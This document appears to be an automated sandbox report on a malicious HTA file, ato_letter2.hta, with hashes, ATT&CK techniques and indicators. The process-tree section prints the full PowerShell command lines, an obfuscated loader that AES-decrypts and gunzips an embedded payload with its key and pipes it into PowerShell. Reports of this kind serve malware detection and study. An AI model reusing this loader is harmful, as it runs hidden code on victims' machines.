3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
10-01-2024 21:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

163.5.169.28/ato_letter2.hta
Size

1.1MB
MD5

54ff1471d93aa84c94efd8cbae4c6c78
SHA1

11c7d8cd8e02b27aee846c353c32b114a7daa3bf
SHA256

e1869d3a88c9190cf43014e3cb48562fc220ff7f6d5baed77c7dfa1c84c5d530
SHA512

5eed6c7f0ffc27e96349fa8fc7c959e87ff35561da2b811f2e59c0fa0bd42f53debd4079da4c1df133b8211c38ef48f03b3f8b5471370bcf6ed79d240fdde804
SSDEEP

1536:SwxapK31kELNEZ1fos0mr/l1vcmafSIm+lIWFR9UU5gou0gQixFaVEYkEOvMXu+f:SOapK31RBEDws7g

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe
2788	powershell.exe
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2200 wrote to memory of 2364	2200	mshta.exe	28
PID 2200 wrote to memory of 2364	2200	mshta.exe	28
PID 2200 wrote to memory of 2364	2200	mshta.exe	28
PID 2200 wrote to memory of 2364	2200	mshta.exe	28
PID 2364 wrote to memory of 2280	2364	powershell.exe	33
PID 2364 wrote to memory of 2280	2364	powershell.exe	33
PID 2364 wrote to memory of 2280	2364	powershell.exe	33
PID 2364 wrote to memory of 2280	2364	powershell.exe	33
PID 2280 wrote to memory of 2772	2280	cmd.exe	31
PID 2280 wrote to memory of 2772	2280	cmd.exe	31
PID 2280 wrote to memory of 2772	2280	cmd.exe	31
PID 2280 wrote to memory of 2772	2280	cmd.exe	31
PID 2280 wrote to memory of 2788	2280	cmd.exe	30
PID 2280 wrote to memory of 2788	2280	cmd.exe	30
PID 2280 wrote to memory of 2788	2280	cmd.exe	30
PID 2280 wrote to memory of 2788	2280	cmd.exe	30

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\ato_letter2.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2200
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $HeikUII = 'AAAAAAAAAAAAAAAAAAAAAJUqOuW4KC6NBAvMfuqK6bp8mGb6bLm9fWAzjp5jn2QEw1DPIAEVLR/tM1tCOABSJYRJIHsHR+nwBtm/eM3I4TTMXEl/ET9CnIbNyvlt9/LNK1ip+uHxXawFKuZDcM0aZtYYe0NhVAm2cqLZRezYxIP823MoH345L2oPsU/6qv3e6g7/iM9o/BVj0e6LhtUV/LwvA2y8SMIyzvW6Rj9MOWuoo5XUYhYSSit4x9Hpn6LHbZBbpW4rMdUxi3ATLDlKoEf0ZlThOxM9di4jM96Tov2ZVqD3Z25V2DxXbkgCdfuHSu7Tooif4YOU9/3JOuRksBwJWYcJ/JFWZAw6/jelCh7i3M6i6V4QSX+fbsJ8CEawMAVCsEHorjcl+DUqZ9Lzsanb3FtB0GJhJUPhvNBZSS9QpBdKbuQnOWC0BBbJIzCRtxKiM26p2m2M/k+QoZIMMSuhVkj5rfIzRuWIdrFxftSMHly9ShtWAqvLz3oX/BuQShbNWHUUe+/N9jMmQeNa6pVq4Y8EfDBgMfrIdsEOu70AWm4FX3LyK5ybwUXhVrgjuPTzSiaZtFFWGtseCLOv5b4HDcOwji4TJjO7BSqcmfz5gk4hzX2m3Gc4iafh9JfgLdkI2OFBKGZ3nngRvgzwPXYBIhqYS+r6NJWTRnREQ2FLRd38VmAa5arOcvP7IF4DG/ofVajmN9oIRJfWm4z0LW7xZJ27y6hZy5Ol7xPcumURWTr9iCTw9Rgb6lWAwkimXI4qGUIYjctFodN9qoPSsic/NCPDFyhKu9epCQ9nl4QVCzvxfSGvM7KllLg3Plv0QdDTJbWOQufrtzK51hDZR2Mz5UqPKtOqYIj+lnQfkLgdetwhGRtXY8fRTn9IxEleTtaYsMHls8d5tF0ZcH1Qgi1HHUXiBV8Lt4uHmZdsQoGMO7ZrToHgDEVe7QlOKRPvsEfjhObpc7ozW7iRXL6kUAXUIj8zbeCrj5evGSp4ELA8XoFZ9lCBQv7XVk/2HqhP/lDfU+MXM5hzNUj9ugx06eJBK4Fh4r2yMpj43uG5Om4=';$JNqAj = 'TG9HTmhqa2hYUWhoRHdiSVRNZm1kekxRRGVVam1uVVY=';$lYZTTWkh = New-Object 'System.Security.Cryptography.AesManaged';$lYZTTWkh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$lYZTTWkh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$lYZTTWkh.BlockSize = 128;$lYZTTWkh.KeySize = 256;$lYZTTWkh.Key = [System.Convert]::FromBase64String($JNqAj);$zlRIi = [System.Convert]::FromBase64String($HeikUII);$HyakcEgs = $zlRIi[0..15];$lYZTTWkh.IV = $HyakcEgs;$lfJyAqixo = $lYZTTWkh.CreateDecryptor();$JvbLhIVwZ = $lfJyAqixo.TransformFinalBlock($zlRIi, 16, $zlRIi.Length - 16);$lYZTTWkh.Dispose();$JExI = New-Object System.IO.MemoryStream( , $JvbLhIVwZ );$PcPXihBj = New-Object System.IO.MemoryStream;$HbjrfOhba = New-Object System.IO.Compression.GzipStream $JExI, ([IO.Compression.CompressionMode]::Decompress);$HbjrfOhba.CopyTo( $PcPXihBj );$HbjrfOhba.Close();$JExI.Close();[byte[]] $vpbeKa = $PcPXihBj.ToArray();$JVZpEn = [System.Text.Encoding]::UTF8.GetString($vpbeKa);$JVZpEn | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $HeikUII = 'AAAAAAAAAAAAAAAAAAAAAJUqOuW4KC6NBAvMfuqK6bp8mGb6bLm9fWAzjp5jn2QEw1DPIAEVLR/tM1tCOABSJYRJIHsHR+nwBtm/eM3I4TTMXEl/ET9CnIbNyvlt9/LNK1ip+uHxXawFKuZDcM0aZtYYe0NhVAm2cqLZRezYxIP823MoH345L2oPsU/6qv3e6g7/iM9o/BVj0e6LhtUV/LwvA2y8SMIyzvW6Rj9MOWuoo5XUYhYSSit4x9Hpn6LHbZBbpW4rMdUxi3ATLDlKoEf0ZlThOxM9di4jM96Tov2ZVqD3Z25V2DxXbkgCdfuHSu7Tooif4YOU9/3JOuRksBwJWYcJ/JFWZAw6/jelCh7i3M6i6V4QSX+fbsJ8CEawMAVCsEHorjcl+DUqZ9Lzsanb3FtB0GJhJUPhvNBZSS9QpBdKbuQnOWC0BBbJIzCRtxKiM26p2m2M/k+QoZIMMSuhVkj5rfIzRuWIdrFxftSMHly9ShtWAqvLz3oX/BuQShbNWHUUe+/N9jMmQeNa6pVq4Y8EfDBgMfrIdsEOu70AWm4FX3LyK5ybwUXhVrgjuPTzSiaZtFFWGtseCLOv5b4HDcOwji4TJjO7BSqcmfz5gk4hzX2m3Gc4iafh9JfgLdkI2OFBKGZ3nngRvgzwPXYBIhqYS+r6NJWTRnREQ2FLRd38VmAa5arOcvP7IF4DG/ofVajmN9oIRJfWm4z0LW7xZJ27y6hZy5Ol7xPcumURWTr9iCTw9Rgb6lWAwkimXI4qGUIYjctFodN9qoPSsic/NCPDFyhKu9epCQ9nl4QVCzvxfSGvM7KllLg3Plv0QdDTJbWOQufrtzK51hDZR2Mz5UqPKtOqYIj+lnQfkLgdetwhGRtXY8fRTn9IxEleTtaYsMHls8d5tF0ZcH1Qgi1HHUXiBV8Lt4uHmZdsQoGMO7ZrToHgDEVe7QlOKRPvsEfjhObpc7ozW7iRXL6kUAXUIj8zbeCrj5evGSp4ELA8XoFZ9lCBQv7XVk/2HqhP/lDfU+MXM5hzNUj9ugx06eJBK4Fh4r2yMpj43uG5Om4=';$JNqAj = 'TG9HTmhqa2hYUWhoRHdiSVRNZm1kekxRRGVVam1uVVY=';$lYZTTWkh = New-Object 'System.Security.Cryptography.AesManaged';$lYZTTWkh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$lYZTTWkh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$lYZTTWkh.BlockSize = 128;$lYZTTWkh.KeySize = 256;$lYZTTWkh.Key = [System.Convert]::FromBase64String($JNqAj);$zlRIi = [System.Convert]::FromBase64String($HeikUII);$HyakcEgs = $zlRIi[0..15];$lYZTTWkh.IV = $HyakcEgs;$lfJyAqixo = $lYZTTWkh.CreateDecryptor();$JvbLhIVwZ = $lfJyAqixo.TransformFinalBlock($zlRIi, 16, $zlRIi.Length - 16);$lYZTTWkh.Dispose();$JExI = New-Object System.IO.MemoryStream( , $JvbLhIVwZ );$PcPXihBj = New-Object System.IO.MemoryStream;$HbjrfOhba = New-Object System.IO.Compression.GzipStream $JExI, ([IO.Compression.CompressionMode]::Decompress);$HbjrfOhba.CopyTo( $PcPXihBj );$HbjrfOhba.Close();$JExI.Close();[byte[]] $vpbeKa = $PcPXihBj.ToArray();$JVZpEn = [System.Text.Encoding]::UTF8.GetString($vpbeKa);$JVZpEn | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2280

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2788

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe $HeikUII = 'AAAAAAAAAAAAAAAAAAAAAJUqOuW4KC6NBAvMfuqK6bp8mGb6bLm9fWAzjp5jn2QEw1DPIAEVLR/tM1tCOABSJYRJIHsHR+nwBtm/eM3I4TTMXEl/ET9CnIbNyvlt9/LNK1ip+uHxXawFKuZDcM0aZtYYe0NhVAm2cqLZRezYxIP823MoH345L2oPsU/6qv3e6g7/iM9o/BVj0e6LhtUV/LwvA2y8SMIyzvW6Rj9MOWuoo5XUYhYSSit4x9Hpn6LHbZBbpW4rMdUxi3ATLDlKoEf0ZlThOxM9di4jM96Tov2ZVqD3Z25V2DxXbkgCdfuHSu7Tooif4YOU9/3JOuRksBwJWYcJ/JFWZAw6/jelCh7i3M6i6V4QSX+fbsJ8CEawMAVCsEHorjcl+DUqZ9Lzsanb3FtB0GJhJUPhvNBZSS9QpBdKbuQnOWC0BBbJIzCRtxKiM26p2m2M/k+QoZIMMSuhVkj5rfIzRuWIdrFxftSMHly9ShtWAqvLz3oX/BuQShbNWHUUe+/N9jMmQeNa6pVq4Y8EfDBgMfrIdsEOu70AWm4FX3LyK5ybwUXhVrgjuPTzSiaZtFFWGtseCLOv5b4HDcOwji4TJjO7BSqcmfz5gk4hzX2m3Gc4iafh9JfgLdkI2OFBKGZ3nngRvgzwPXYBIhqYS+r6NJWTRnREQ2FLRd38VmAa5arOcvP7IF4DG/ofVajmN9oIRJfWm4z0LW7xZJ27y6hZy5Ol7xPcumURWTr9iCTw9Rgb6lWAwkimXI4qGUIYjctFodN9qoPSsic/NCPDFyhKu9epCQ9nl4QVCzvxfSGvM7KllLg3Plv0QdDTJbWOQufrtzK51hDZR2Mz5UqPKtOqYIj+lnQfkLgdetwhGRtXY8fRTn9IxEleTtaYsMHls8d5tF0ZcH1Qgi1HHUXiBV8Lt4uHmZdsQoGMO7ZrToHgDEVe7QlOKRPvsEfjhObpc7ozW7iRXL6kUAXUIj8zbeCrj5evGSp4ELA8XoFZ9lCBQv7XVk/2HqhP/lDfU+MXM5hzNUj9ugx06eJBK4Fh4r2yMpj43uG5Om4=';$JNqAj = 'TG9HTmhqa2hYUWhoRHdiSVRNZm1kekxRRGVVam1uVVY=';$lYZTTWkh = New-Object 'System.Security.Cryptography.AesManaged';$lYZTTWkh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$lYZTTWkh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$lYZTTWkh.BlockSize = 128;$lYZTTWkh.KeySize = 256;$lYZTTWkh.Key = [System.Convert]::FromBase64String($JNqAj);$zlRIi = [System.Convert]::FromBase64String($HeikUII);$HyakcEgs = $zlRIi[0..15];$lYZTTWkh.IV = $HyakcEgs;$lfJyAqixo = $lYZTTWkh.CreateDecryptor();$JvbLhIVwZ = $lfJyAqixo.TransformFinalBlock($zlRIi, 16, $zlRIi.Length - 16);$lYZTTWkh.Dispose();$JExI = New-Object System.IO.MemoryStream( , $JvbLhIVwZ );$PcPXihBj = New-Object System.IO.MemoryStream;$HbjrfOhba = New-Object System.IO.Compression.GzipStream $JExI, ([IO.Compression.CompressionMode]::Decompress);$HbjrfOhba.CopyTo( $PcPXihBj );$HbjrfOhba.Close();$JExI.Close();[byte[]] $vpbeKa = $PcPXihBj.ToArray();$JVZpEn = [System.Text.Encoding]::UTF8.GetString($vpbeKa);$JVZpEn
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
8ebfdb5a2c991628df1b89fa49d52605

SHA1
3e4dfb698d33f2bc9b179190ed6b51fa790fc4b3

SHA256
d94370c5b2959031a3abfb8426b0c6774933e4b39f2616839ed3576ff0f3a71d

SHA512
c1e2df04833c90558e872fd37b233421a85199d22c1f2cec58c4044816186023207585c7650425165c9b4109e6586d6f56edb3662f7ff52754a72f9609de3084

Download Submit
memory/2364-2-0x0000000071FE0000-0x000000007258B000-memory.dmp

Filesize
5.7MB

Download
memory/2364-5-0x00000000025A0000-0x00000000025E0000-memory.dmp

Filesize
256KB

Download
memory/2364-4-0x00000000025A0000-0x00000000025E0000-memory.dmp

Filesize
256KB

Download
memory/2364-3-0x0000000071FE0000-0x000000007258B000-memory.dmp

Filesize
5.7MB

Download
memory/2364-6-0x0000000071FE0000-0x000000007258B000-memory.dmp

Filesize
5.7MB

Download
memory/2772-23-0x0000000002570000-0x00000000025B0000-memory.dmp

Filesize
256KB

Download
memory/2772-17-0x0000000071A30000-0x0000000071FDB000-memory.dmp

Filesize
5.7MB

Download
memory/2772-25-0x0000000002570000-0x00000000025B0000-memory.dmp

Filesize
256KB

Download
memory/2772-18-0x0000000002570000-0x00000000025B0000-memory.dmp

Filesize
256KB

Download
memory/2772-20-0x0000000071A30000-0x0000000071FDB000-memory.dmp

Filesize
5.7MB

Download
memory/2772-35-0x0000000071A30000-0x0000000071FDB000-memory.dmp

Filesize
5.7MB

Download
memory/2788-19-0x0000000071A30000-0x0000000071FDB000-memory.dmp

Filesize
5.7MB

Download
memory/2788-22-0x0000000002480000-0x00000000024C0000-memory.dmp

Filesize
256KB

Download
memory/2788-24-0x0000000002480000-0x00000000024C0000-memory.dmp

Filesize
256KB

Download
memory/2788-21-0x0000000002480000-0x00000000024C0000-memory.dmp

Filesize
256KB

Download
memory/2788-36-0x0000000071A30000-0x0000000071FDB000-memory.dmp

Filesize
5.7MB

Download